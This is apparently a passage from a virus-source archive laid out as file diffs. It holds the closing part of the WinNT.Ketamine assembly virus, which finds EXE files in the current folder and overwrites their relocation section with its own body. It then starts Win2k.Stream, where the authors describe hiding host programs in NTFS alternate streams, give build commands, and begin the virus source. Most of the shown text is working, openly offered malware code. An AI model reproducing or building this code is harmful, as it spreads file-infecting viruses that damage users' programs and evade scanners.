lea ebx,[dHandle]
|
||||
push ebx
|
||||
call NtOpenFile ;open the current folder
|
||||
mov ebx,[ebx]
|
||||
|
||||
xor ecx,ecx
|
||||
f_loop: push ecx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
call @p1
|
||||
dd 0A000Ah ;length of the string
|
||||
dd ? ;ptr to string
|
||||
@p1: pop esi
|
||||
call @exe
|
||||
dw '<','.','E','X','E' ;string
|
||||
@exe: pop dword ptr [esi+4] ;save the ptr
|
||||
jecxz @1st
|
||||
xor esi,esi
|
||||
@1st: push esi
|
||||
push 1
|
||||
push 3
|
||||
push MAX_PATH*2
|
||||
lea edx,[WFD]
|
||||
push edx
|
||||
lea edx,[io_status]
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push ebx
|
||||
mov eax,12345678h
|
||||
NtQDF = dword ptr $-4
|
||||
lea edx,[esp]
|
||||
int 2Eh ;NtQueryDirectoryFile
|
||||
add esp,4*11 ;correct the stack
|
||||
|
||||
pop ecx
|
||||
test eax,eax
|
||||
jne e_loop ;quit if no more file
|
||||
|
||||
push dword ptr [uni_string] ;save the length
|
||||
|
||||
lea esi,[WFD] ;WIN32_FIND_DATA structure
|
||||
lea edi,[uni_string] ;the filename
|
||||
call infect_file ;infect the file
|
||||
|
||||
pop dword ptr [uni_string] ;restore the length
|
||||
inc ecx
|
||||
jmp f_loop ;find next file
|
||||
|
||||
e_loop: push ebx
|
||||
call NtClose ;close the directory
|
||||
|
||||
leave
|
||||
end_seh:@SEH_RemoveFrame
|
||||
popad
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
push cs
|
||||
push offset ExitProcess
|
||||
original_ep = dword ptr $-4
|
||||
retf ;jump to host!
|
||||
Start EndP
|
||||
|
||||
|
||||
|
||||
NtClose:mov eax,12345678h
|
||||
NtC = dword ptr $-4
|
||||
lea edx,[esp+4]
|
||||
int 2Eh ;close the handle
|
||||
ret 4
|
||||
|
||||
NtOpenFile:
|
||||
mov eax,12345678h
|
||||
NtOF = dword ptr $-4
|
||||
lea edx,[esp+4]
|
||||
int 2Eh ;open the object
|
||||
ret 4*6
|
||||
|
||||
|
||||
|
||||
infect_file Proc
|
||||
local object_attr:object_attributes
|
||||
local io_status:pio_status
|
||||
local fHandle:DWORD
|
||||
local sHandle:DWORD
|
||||
local sOffset:DWORD
|
||||
local bytez:DWORD
|
||||
local sOffset2:QWORD
|
||||
|
||||
pushad
|
||||
@SEH_SetupFrame <jmp if_end>
|
||||
|
||||
movzx edx,word ptr [edi]
|
||||
add edx,[edi+4]
|
||||
push edi
|
||||
mov edi,edx ;EDI - end of string
|
||||
|
||||
mov ecx,[esi+3Ch] ;size of filename
|
||||
push ecx
|
||||
lea esi,[esi+5Eh] ;filename
|
||||
rep movsb ;copy the string
|
||||
pop ecx
|
||||
pop edi
|
||||
|
||||
add cx,[edi]
|
||||
mov ax,cx
|
||||
shl ecx,16
|
||||
mov cx,ax
|
||||
mov [edi],ecx ;size of path+filename
|
||||
xchg eax,edi
|
||||
|
||||
xor ecx,ecx ;initialize the structure...
|
||||
lea edi,[object_attr]
|
||||
mov [edi.oa_length],24
|
||||
and [edi.oa_rootdir],ecx
|
||||
mov [edi.oa_objectname],eax
|
||||
mov [edi.oa_attribz],40h
|
||||
and [edi.oa_secdesc],ecx
|
||||
and [edi.oa_secqos],ecx
|
||||
|
||||
push 4060h
|
||||
push 3h
|
||||
lea ecx,[io_status]
|
||||
push ecx
|
||||
push edi
|
||||
push 100007h
|
||||
lea ebx,[fHandle]
|
||||
push ebx
|
||||
call NtOpenFile ;open the file
|
||||
test eax,eax
|
||||
jne if_end
|
||||
mov ebx,[ebx]
|
||||
|
||||
xor eax,eax
|
||||
push ebx
|
||||
push 8000000h
|
||||
push PAGE_READWRITE
|
||||
push eax
|
||||
push eax
|
||||
push 0F0007h
|
||||
lea ebx,[sHandle]
|
||||
push ebx
|
||||
mov eax,12345678h
|
||||
NtCS = dword ptr $-4
|
||||
mov edx,esp
|
||||
int 2Eh ;NtCreateSection
|
||||
add esp,4*7 ;correct stack
|
||||
test eax,eax
|
||||
jne if_end2
|
||||
mov ebx,[ebx]
|
||||
|
||||
lea edx,[bytez] ;initialize some variablez
|
||||
xor eax,eax
|
||||
and [sOffset],eax
|
||||
and [edx],eax
|
||||
and dword ptr [sOffset2],eax
|
||||
and dword ptr [sOffset2+4],eax
|
||||
|
||||
push 4
|
||||
push eax
|
||||
push 1
|
||||
push edx
|
||||
lea edx,[sOffset2]
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
lea esi,[sOffset]
|
||||
push esi
|
||||
push -1
|
||||
push ebx
|
||||
mov eax,12345678h
|
||||
NtMVOS = dword ptr $-4
|
||||
mov edx,esp
|
||||
int 2Eh ;NtMapViewOfSection
|
||||
add esp,4*10
|
||||
test eax,eax
|
||||
jne if_end3
|
||||
mov ebx,[esi] ;EBX = start of memory-mapped file
|
||||
|
||||
mov esi,[ebx.MZ_lfanew]
|
||||
add esi,ebx
|
||||
mov eax,[esi]
|
||||
add eax,-IMAGE_NT_SIGNATURE
|
||||
jne if_end4 ;must be PE file
|
||||
|
||||
;discard not_executable and system filez
|
||||
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
|
||||
jne if_end4
|
||||
mov ax,[esi.NT_FileHeader.FH_Characteristics]
|
||||
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
|
||||
je if_end4
|
||||
test ax,IMAGE_FILE_DLL
|
||||
jne if_end4
|
||||
test ax,IMAGE_FILE_SYSTEM
|
||||
jne if_end4
|
||||
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
|
||||
test al,IMAGE_SUBSYSTEM_NATIVE
|
||||
jne if_end4
|
||||
|
||||
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
|
||||
dec eax
|
||||
test eax,eax
|
||||
je if_end4
|
||||
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
|
||||
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||||
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
|
||||
add edi,esi
|
||||
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
|
||||
mov eax,[edx]
|
||||
test eax,eax
|
||||
je if_end4
|
||||
cmp eax,[edi.SH_VirtualAddress]
|
||||
jne if_end4
|
||||
cmp [edi.SH_SizeOfRawData],virus_end-_Start
|
||||
jb if_end4 ;is it large enough?
|
||||
|
||||
pushad
|
||||
xor eax,eax
|
||||
mov edi,edx
|
||||
stosd
|
||||
stosd
|
||||
popad ;erase relocs record
|
||||
|
||||
;align the section size
|
||||
mov eax,virus_end-_Start
|
||||
cmp eax,[edi.SH_VirtualSize]
|
||||
jb o_vs
|
||||
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
|
||||
cdq
|
||||
div ecx
|
||||
test edx,edx
|
||||
je o_al
|
||||
inc eax
|
||||
o_al: mul ecx
|
||||
mov [edi.SH_VirtualSize],eax
|
||||
|
||||
o_vs: push ebp ;save EBP
|
||||
call idelta ;get delta offset
|
||||
idelta: pop ebp
|
||||
push dword ptr [ebp + original_ep - idelta]
|
||||
|
||||
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||||
push dword ptr [edi.SH_VirtualAddress]
|
||||
pop dword ptr [esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
|
||||
mov [ebp + original_ep - idelta],eax
|
||||
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
|
||||
add [ebp + original_ep - idelta],eax
|
||||
;set saved_entrypoint variable
|
||||
pushad
|
||||
mov edi,[edi.SH_PointerToRawData]
|
||||
add edi,ebx
|
||||
lea esi,[ebp + _Start - idelta]
|
||||
mov ecx,(virus_end-_Start+3)/4
|
||||
rep movsd ;overwrite relocs by virus body
|
||||
popad
|
||||
pop dword ptr [ebp + original_ep - idelta]
|
||||
;restore used variablez
|
||||
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
|
||||
pop ebp ;restore EBP
|
||||
|
||||
if_end4:push ebx
|
||||
push -1
|
||||
mov eax,12345678h
|
||||
NtUVOS = dword ptr $-4
|
||||
mov edx,esp
|
||||
int 2Eh ;NtUnmapViewOfSection
|
||||
add esp,4*2
|
||||
if_end3:push [sHandle]
|
||||
call NtClose ;close the section
|
||||
if_end2:push [fHandle]
|
||||
call NtClose ;close the file
|
||||
if_end: @SEH_RemoveFrame
|
||||
popad
|
||||
ret
|
||||
infect_file EndP
|
||||
|
||||
|
||||
|
||||
get_syscalls Proc
|
||||
mov esi,77F80000h ;base of NTDLL.dll
|
||||
mov edx,[esi.MZ_lfanew]
|
||||
add edx,esi
|
||||
mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
||||
add ebx,esi
|
||||
mov ecx,[ebx.ED_NumberOfNames]
|
||||
mov edx,[ebx.ED_AddressOfNames]
|
||||
add edx,esi
|
||||
|
||||
xor eax,eax
|
||||
c_find: pushad
|
||||
add esi,[edx+eax*4]
|
||||
push esi
|
||||
@endsz
|
||||
mov edi,esi
|
||||
pop esi
|
||||
sub edi,esi
|
||||
call CRC32 ;calculate CRC32 of the API
|
||||
|
||||
push 6 ;number of syscallz
|
||||
pop ecx
|
||||
|
||||
call @callz
|
||||
dd 09ECA4E0Fh ;NtOpenFile
|
||||
dd 0D5494178h ;NtQueryDirectoryFile
|
||||
dd 0B964B7BEh ;NtClose
|
||||
dd 03F2482E6h ;NtCreateSection
|
||||
dd 010710614h ;NtMapViewOfSection
|
||||
dd 0864CF09Bh ;NtUnmapViewOfSection
|
||||
@callz: pop edx
|
||||
|
||||
c_look: cmp [edx-4+(ecx*4)],eax
|
||||
je got_call
|
||||
loop c_look
|
||||
c_out: popad
|
||||
inc eax
|
||||
loop c_find
|
||||
ret
|
||||
|
||||
got_call:
|
||||
mov edx,[ebx.ED_AddressOfOrdinals]
|
||||
mov esi,[esp.Pushad_esi]
|
||||
add edx,esi
|
||||
mov eax,[esp.Pushad_eax]
|
||||
movzx eax,word ptr [edx+eax*2]
|
||||
mov edx,esi
|
||||
add edx,[ebx.ED_AddressOfFunctions]
|
||||
mov eax,[edx+eax*4]
|
||||
add eax,esi
|
||||
|
||||
mov eax,[eax+1] ;get number of the syscall
|
||||
lea edx,[ebp + _Start - gdelta]
|
||||
add edx,[ebp + sys_addr-4+ecx*4 - gdelta]
|
||||
mov [edx],eax ;save it
|
||||
jmp c_out
|
||||
get_syscalls EndP
|
||||
|
||||
|
||||
sys_addr: ;where to save syscall numberz...
|
||||
dd offset NtOF-_Start
|
||||
dd offset NtQDF-_Start
|
||||
dd offset NtC-_Start
|
||||
dd offset NtCS-_Start
|
||||
dd offset NtMVOS-_Start
|
||||
dd offset NtUVOS-_Start
|
||||
|
||||
CRC32: push ecx ;procedure for calculating CRC32s
|
||||
push edx ;at run-time
|
||||
push ebx
|
||||
xor ecx,ecx
|
||||
dec ecx
|
||||
mov edx,ecx
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0EDB8h
|
||||
NoCRC: dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec edi
|
||||
jne NextByteCRC
|
||||
not edx
|
||||
not ecx
|
||||
pop ebx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
pop edx
|
||||
pop ecx
|
||||
ret
|
||||
|
||||
signature db 0,'WinNT.Ketamine by Benny/29A',0
|
||||
|
||||
virus_end:
|
||||
End _Start
|
2557
LegacyWindows/Win2k.Society.3434.asm
Normal file
2557
LegacyWindows/Win2k.Society.3434.asm
Normal file
File diff suppressed because it is too large
Load Diff
634
LegacyWindows/Win2k.Stream.asm
Normal file
634
LegacyWindows/Win2k.Stream.asm
Normal file
@ -0,0 +1,634 @@
|
||||
|
||||
COMMENT#
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ Win2k.Stream ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ by Benny/29A and Ratter ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
|
||||
Let us introduce very small and simple infector presenting how to use features
|
||||
of NTFS in viruses. This virus loox like standard Petite-compressed PE file.
|
||||
However, it presents the newest way of PE file infecting method.
|
||||
|
||||
How the virus worx? It uses streamz, the newest feature of NTFS filesystem
|
||||
and file compression, already implemented in old NTFS fs.
|
||||
|
||||
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ Basic principles of NTFS streamz ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
How the file loox? Ya know that the file contains exactly the same what you can
|
||||
see when you will open it (e.g. in WinCommander). NTFS, implemented by
|
||||
Windows 2000, has new feature - the file can be divided to streamz. The content
|
||||
what you can see when you will open the file is called Primary stream - usually
|
||||
files haven't more than one stream. However, you can create NEW stream ( = new
|
||||
content) in already existing file without overwritting the content.
|
||||
|
||||
Example:
|
||||
|
||||
addressing of primary stream -> <filename> e.g. "calc.exe"
|
||||
addressing of other streamz -> <filename>:<stream name> e.g. "calc.exe:stream"
|
||||
|
||||
If you have NTFS, you can test it. Copy to NTFS for instance "calc.exe", and
|
||||
then create new file "calc.exe:stream" and write there "blahblah". Open
|
||||
"calc.exe". Whats there? Calculator ofcoz. Now open "calc.exe:stream". Whats
|
||||
there? "blahblah", the new file in the old one :)
|
||||
|
||||
Can you imagine how useful r streamz for virus coding?
|
||||
|
||||
The virus infects file by moving the old content to the new stream and replacing
|
||||
the primary stream with virus code.
|
||||
|
||||
File (calc.exe) before infection:
|
||||
|
||||
ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
ºÚÄPrimary stream (visible part)Ä¿º
|
||||
º³ Calculator ³º
|
||||
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
|
||||
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
File (calc.exe) after infection:
|
||||
|
||||
ÉÍCalc.exeÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
ºÚÄPrimary stream (calc.exe)Ä¿ÚÄNext stream (calc.exe:STR)Ä¿ º
|
||||
º³ Virus ³³ Calculator ³ º
|
||||
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ º
|
||||
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
|
||||
Simple and efficent, ain't it?
|
||||
|
||||
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ Details of virus ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
* The virus infects all EXE files in actual directory.
|
||||
|
||||
* The virus uses as already-infected mark file compression. All infected
|
||||
files are compressed by NTFS and virus then does not infect already
|
||||
compressed files. Well, almost all files after infection r smaller than
|
||||
before, so user won't recognize virus by checking free disk space :)
|
||||
|
||||
* If user will copy the infected file to non-NTFS partition (in this case
|
||||
only primary stream is copied), the host program will be destroyed and
|
||||
instead of running host program virus will show message box. That can
|
||||
be also called as payload :P
|
||||
|
||||
* The virus is very small, exactly 3628 bytes, becoz it's compressed by
|
||||
Petite 2.1 PE compression utility (http://www.icl.ndirect.co.uk/petite/).
|
||||
|
||||
* The disinfection is very easy - just copy the content of <file>:STR to
|
||||
<file> and delete <file>:STR. If you want to create sample of infected
|
||||
file, then just copy the virus to some file and copy any program (host
|
||||
program) to <file>:STR. Thats all! However, AVerz have to rebuild their
|
||||
search engine to remove this virus, becoz until now, they had no fucking
|
||||
idea what are streamz :)
|
||||
|
||||
* This virus was coded in Czech Republic by Benny/29A and Ratter, on our
|
||||
common VX meeting at Ratter's city... we just coded it to show that
|
||||
Windows 2000 is just another OS designed for viruses... it really is :)
|
||||
|
||||
* We would like to thank GriYo for pointing us to NTFS new features.
|
||||
The fame is also yourz, friend!
|
||||
|
||||
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ In the media ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
|
||||
AVP's description:
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
This is the first known Windows virus using the "stream companion" infection
|
||||
method. That method is based on an NTFS feature that allows to create multiple
|
||||
data streams associated with a file.
|
||||
|
||||
*NTFS Streams*
|
||||
---------------
|
||||
|
||||
Each file contains at least one default data stream that is accessed just by
|
||||
the file name. Each file may also contain additional stream(s) that can be
|
||||
accessed by their personal names (filename:streamname).
|
||||
|
||||
The default file stream is the file body itself (in pre-NTFS terms). For
|
||||
instance, when an EXE file is executed the program is read from the default
|
||||
file stream; when a document is opened, its content is also read from the
|
||||
default stream.
|
||||
|
||||
Additional file streams may contain any data. The streams cannot be accessed or
|
||||
modified without reference to the file. When the file is deleted, its streams
|
||||
are deleted as well; if the file is renamed, the streams follow its new name.
|
||||
|
||||
In the Windows package there is no standard tool to view/edit file streams. To
|
||||
"manually" view file streams you need to use special utilities, for instance
|
||||
the FAR utility with the file steams support plug-in (Ctrl-PgDn displays file
|
||||
streams for selected file).
|
||||
|
||||
*Virus Details*
|
||||
----------------
|
||||
|
||||
The virus itself is a Windows application (PE EXE file) compressed using the
|
||||
Petite PE EXE file compressor and is about 4K in size. When run it infects all
|
||||
EXE files in the current directory and then returns control to the host file.
|
||||
If any error occurs, the virus displays the message:
|
||||
|
||||
Win2k.Stream by Benny/29A & Ratter
|
||||
This cell has been infected by [Win2k.Stream] virus!
|
||||
|
||||
While infecting a file the virus creates a new stream associated with the victim
|
||||
file. That stream has the name "STR", i.e. the complete stream name is
|
||||
"FileName:STR". The virus then moves the victim file body to the STR stream
|
||||
(default stream, see above) and then overwrites the victim file body (default
|
||||
stream) with its (virus) code.
|
||||
|
||||
As a result, when an infected file is executed Windows reads the default stream
|
||||
(which is overwritten by virus code) and executes it. Also, Windows reports the
|
||||
same file size for all infected files - that is the virus length.
|
||||
|
||||
To release control to the host program the virus just creates a new process by
|
||||
accessing the original file program using the name "FileName:STR".
|
||||
|
||||
That infection method should work on any NTFS system, but the virus checks the
|
||||
system version and runs only under Win2000.
|
||||
|
||||
|
||||
AVP's press release:
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
*A New Generation of Windows 2000 Viruses is Streaming Towards PC Users*
|
||||
------------------------------------------------------------------------
|
||||
|
||||
Moscow, Russia, September 4, 2000 – Kaspersky Lab announces the discovery of
|
||||
W2K.Stream virus, which represents a new generation of malicious programs for
|
||||
Windows 2000. This virus uses a new breakthrough technology based on the
|
||||
"Stream Companion" method for self-embedding into the NTFS file system.
|
||||
|
||||
The virus originates from the Czech Republic and was created at the end of
|
||||
August by the hackers going by the pseudonyms of Benny and Ratter. To date,
|
||||
Kaspersky Lab has not registered any infections resulting from this virus;
|
||||
however, its working capacity and ability for existence "in-the-wild" are
|
||||
unchallenged.
|
||||
|
||||
"Certainly, this virus begins a new era in computer virus creation," said
|
||||
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab. "The ’Stream
|
||||
Companion’ technology the virus uses to plant itself into files makes its
|
||||
detection and disinfection extremely difficult to complete.”
|
||||
|
||||
Unlike previously known methods of file infection (adding the virus body at
|
||||
beginning, ending or any other part of a host file), the "Stream" virus
|
||||
exploits the NTFS file system (Windows NT/2000) feature, which allows multiple
|
||||
data streams. For instance, in Windows 95/98 (FAT) files, there is only one
|
||||
data stream – the program code itself. Windows NT/2000 (NTFS) enables users
|
||||
to create any number of data streams within the file: independent executable
|
||||
program modules, as well as various service streams (file access rights,
|
||||
encryption data, processing time etc.). This makes NTFS files very flexible,
|
||||
allowing for the creation of user-defined data streams aimed at completing
|
||||
specific tasks.
|
||||
|
||||
"Stream" is the first known virus that uses the feature of creating multiple
|
||||
data streams for infecting files of the NTFS file system (see picture 1). To
|
||||
complete this, the virus creates an additional data stream named "STR" and
|
||||
moves the original content of the host program there. Then, it replaces the
|
||||
main data stream with the virus code. As a result, when the infected program
|
||||
is run, the virus takes control, completes the replicating procedure and then
|
||||
passes control to the host program.
|
||||
|
||||
*"Stream" file infection procedure*
|
||||
------------------------------------
|
||||
|
||||
File before infection File after infection
|
||||
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
|
||||
³°°°°°°°°°°°°°°°°°°°³ ³°°° main stream°°°°³
|
||||
³°°°°°°°°°°°°°°°°°°°³ ³°°° virus body°°°°°³
|
||||
³°°°°main stream°°°°³ ³°°°°°°°°°°°°°°°°°°°³
|
||||
³°°°°°°°°°°°°°°°°°°°³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
||||
³°°°°program body°°°³ ³°°°°°°°°°°°°°°°°°°°³
|
||||
³°°°°°°°°°°°°°°°°°°°³ ³°additional stream°³
|
||||
³°°°°°°°°°°°°°°°°°°°³ ³°°°program body°°°°³
|
||||
³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³
|
||||
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
||||
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
|
||||
³±±service streams±±³ ³±±service streams±±³
|
||||
³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
"By default, anti-virus programs check only the main data stream. There will be
|
||||
no problems protecting users from this particular virus," Eugene Kaspersky
|
||||
continues. "However, the viruses can move to additional data streams. In this
|
||||
case, many anti-virus products will become obsolete, and their vendors will be
|
||||
forced to urgently redesign their anti-virus engines."
|
||||
|
||||
|
||||
In MSNBC's news:
|
||||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
*New trick can hide computer viruses*
|
||||
*But experts question danger posed by ‘Stream’ technology*
|
||||
-----------------------------------------------------------
|
||||
|
||||
Sept. 6 — A new kind of computer virus has been released, but security experts
|
||||
are in disagreement over just how menacing it is. The virus demonstrates a
|
||||
technique that future writers can use to hide their malicious software from
|
||||
most current antivirus scanners. But some antivirus companies are playing down
|
||||
the threat.
|
||||
|
||||
THE VIRUS, CALLED W2K.STREAM, poses little threat — it was written as a
|
||||
relatively benign “proof of concept.” But, according to a source who requested
|
||||
anonymity, it was posted on several virus writer Web sites over Labor Day
|
||||
weekend — making copycats possible.
|
||||
|
||||
The virus takes advantage of a little-used feature included in Windows 2000 and
|
||||
older Windows NT systems that allows programs to be split into pieces called
|
||||
streams. Generally, the body of a program resides in the main stream. But other
|
||||
streams can be created to store information related to what’s in the main
|
||||
stream. Joel Scambray, author of “Hacking Exposed,” described these additional
|
||||
streams as “Post-it notes” attached to the main file.
|
||||
|
||||
The problem is that antivirus programs only examine the main stream. W2K.Stream
|
||||
demonstrates a programmer’s ability to create an additional stream and hide
|
||||
malicious code there.
|
||||
|
||||
“Certainly, this virus begins a new era in computer virus creation,” said
|
||||
Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab, in a press
|
||||
release. “The ‘Stream Companion’ technology the virus uses to plant itself into
|
||||
files makes its detection and disinfection extremely difficult to complete.”
|
||||
|
||||
*THIS BUG ISN’T DANGEROUS*
|
||||
---------------------------
|
||||
|
||||
No W2K.stream infections have been reported, and experts don’t believe the
|
||||
virus is “in the wild” — circulating on the Internet — yet. At any rate, this
|
||||
virus actually makes things easy for antivirus companies. If a user is
|
||||
infected, the program creates an alternate stream and places the legitimate
|
||||
file in this alternate location; the virus replaces it as the main stream. That
|
||||
makes detection by current antivirus products easy. But future viruses could
|
||||
do just the opposite, evading current antivirus products.
|
||||
|
||||
One antivirus researcher who requested anonymity called release of the bug
|
||||
“somewhat akin to the first macro virus.” He added that reengineering antivirus
|
||||
software to scan for multiple streams would be a complicated effort.
|
||||
“In this case, many anti-virus products will become obsolete, and their vendors
|
||||
will be forced to urgently redesign their anti-virus engines,” Kaspersky said.
|
||||
|
||||
*AN OLD ISSUE*
|
||||
---------------
|
||||
|
||||
There is nothing new about the potential of exploiting the multiple stream
|
||||
issue; Scambray hints at the problem in the book “Hacking Exposed,” and
|
||||
described it even more explicitly in a 1998 Infoworld.com article.
|
||||
|
||||
The SANS Institute, a group of security researchers, issued an “alert”
|
||||
criticizing antivirus companies for not updating their products to scan the
|
||||
contents of any file stream earlier.
|
||||
|
||||
“We found that the scanners were incapable of identifying viruses stored within
|
||||
an alternate data stream,” the report said. “For example if you create the file
|
||||
MyResume.doc:ILOVEYOU.vbs and store the contents of the I Love You virus within
|
||||
the alternate data stream file, none of the tested virus scanners were capable
|
||||
of finding the virus during a complete disk scan.”
|
||||
|
||||
But some antivirus companies described the threat as minimal because the
|
||||
alternate stream trick only hides the bug while it’s stored on a victim’s
|
||||
computer. Pirkka Palomaki, Director of Product Marketing for F-Secure Corp.,
|
||||
said for the virus to actually run, it has to come out of hiding and load into
|
||||
main memory.
|
||||
|
||||
“It would be detected as it tried to activate,” Palomaki said. “But this
|
||||
signifies importance of real-time protection.” He added the virus would still
|
||||
have to find its way onto a victim’s computer; and that victim would have to
|
||||
be tricked into installing the virus using one of the traditional methods,
|
||||
such as clicking on an infected e-mail attachment.
|
||||
|
||||
“It could increase the ability to for scanners to miss something,” said Pat
|
||||
Nolan, virus researcher at McAfee Corp. “But we’re on top of it. If there is
|
||||
a vulnerability, it will be short-lived.”
|
||||
|
||||
|
||||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
³ How to compile it? ³
|
||||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
Use Petite version 2.1 (http://www.icl.ndirect.co.uk/petite/).
|
||||
|
||||
tasm32 /ml /m9 /q stream
|
||||
tlink32 -Tpe -c -x -aa stream,,,import32
|
||||
pewrsec stream.exe
|
||||
petite -9 -e2 -v1 -p1 -y -b0 -r* stream.exe
|
||||
|
||||
|
||||
|
||||
And here comes the virus source...
|
||||
#
|
||||
|
||||
|
||||
.586p
|
||||
.model flat,stdcall
|
||||
|
||||
|
||||
include win32api.inc ;include filez
|
||||
include useful.inc
|
||||
|
||||
extrn ExitProcess:PROC ;used APIz
|
||||
extrn VirtualFree:PROC
|
||||
extrn FindFirstFileA:PROC
|
||||
extrn FindNextFileA:PROC
|
||||
extrn FindClose:PROC
|
||||
extrn WinExec:PROC
|
||||
extrn GetCommandLineA:PROC
|
||||
extrn GetModuleFileNameA:PROC
|
||||
extrn DeleteFileA:PROC
|
||||
extrn ReadFile:PROC
|
||||
extrn CopyFileA:PROC
|
||||
extrn WriteFile:PROC
|
||||
extrn CreateFileA:PROC
|
||||
extrn CloseHandle:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
extrn GetFileSize:PROC
|
||||
extrn VirtualAlloc:PROC
|
||||
extrn DeviceIoControl:PROC
|
||||
extrn GetFileAttributesA:PROC
|
||||
extrn GetTempFileNameA:PROC
|
||||
extrn CreateProcessA:PROC
|
||||
extrn GetVersion:PROC
|
||||
|
||||
|
||||
FSCTL_SET_COMPRESSION equ 9 shl 16 or 3 shl 14 or 16 shl 2
|
||||
|
||||
;compression flag
|
||||
STARTUPINFO STRUCT ;used by CreateProcessA API
|
||||
cb DWORD ?
|
||||
lpReserved DWORD ?
|
||||
lpDesktop DWORD ?
|
||||
lpTitle DWORD ?
|
||||
dwX DWORD ?
|
||||
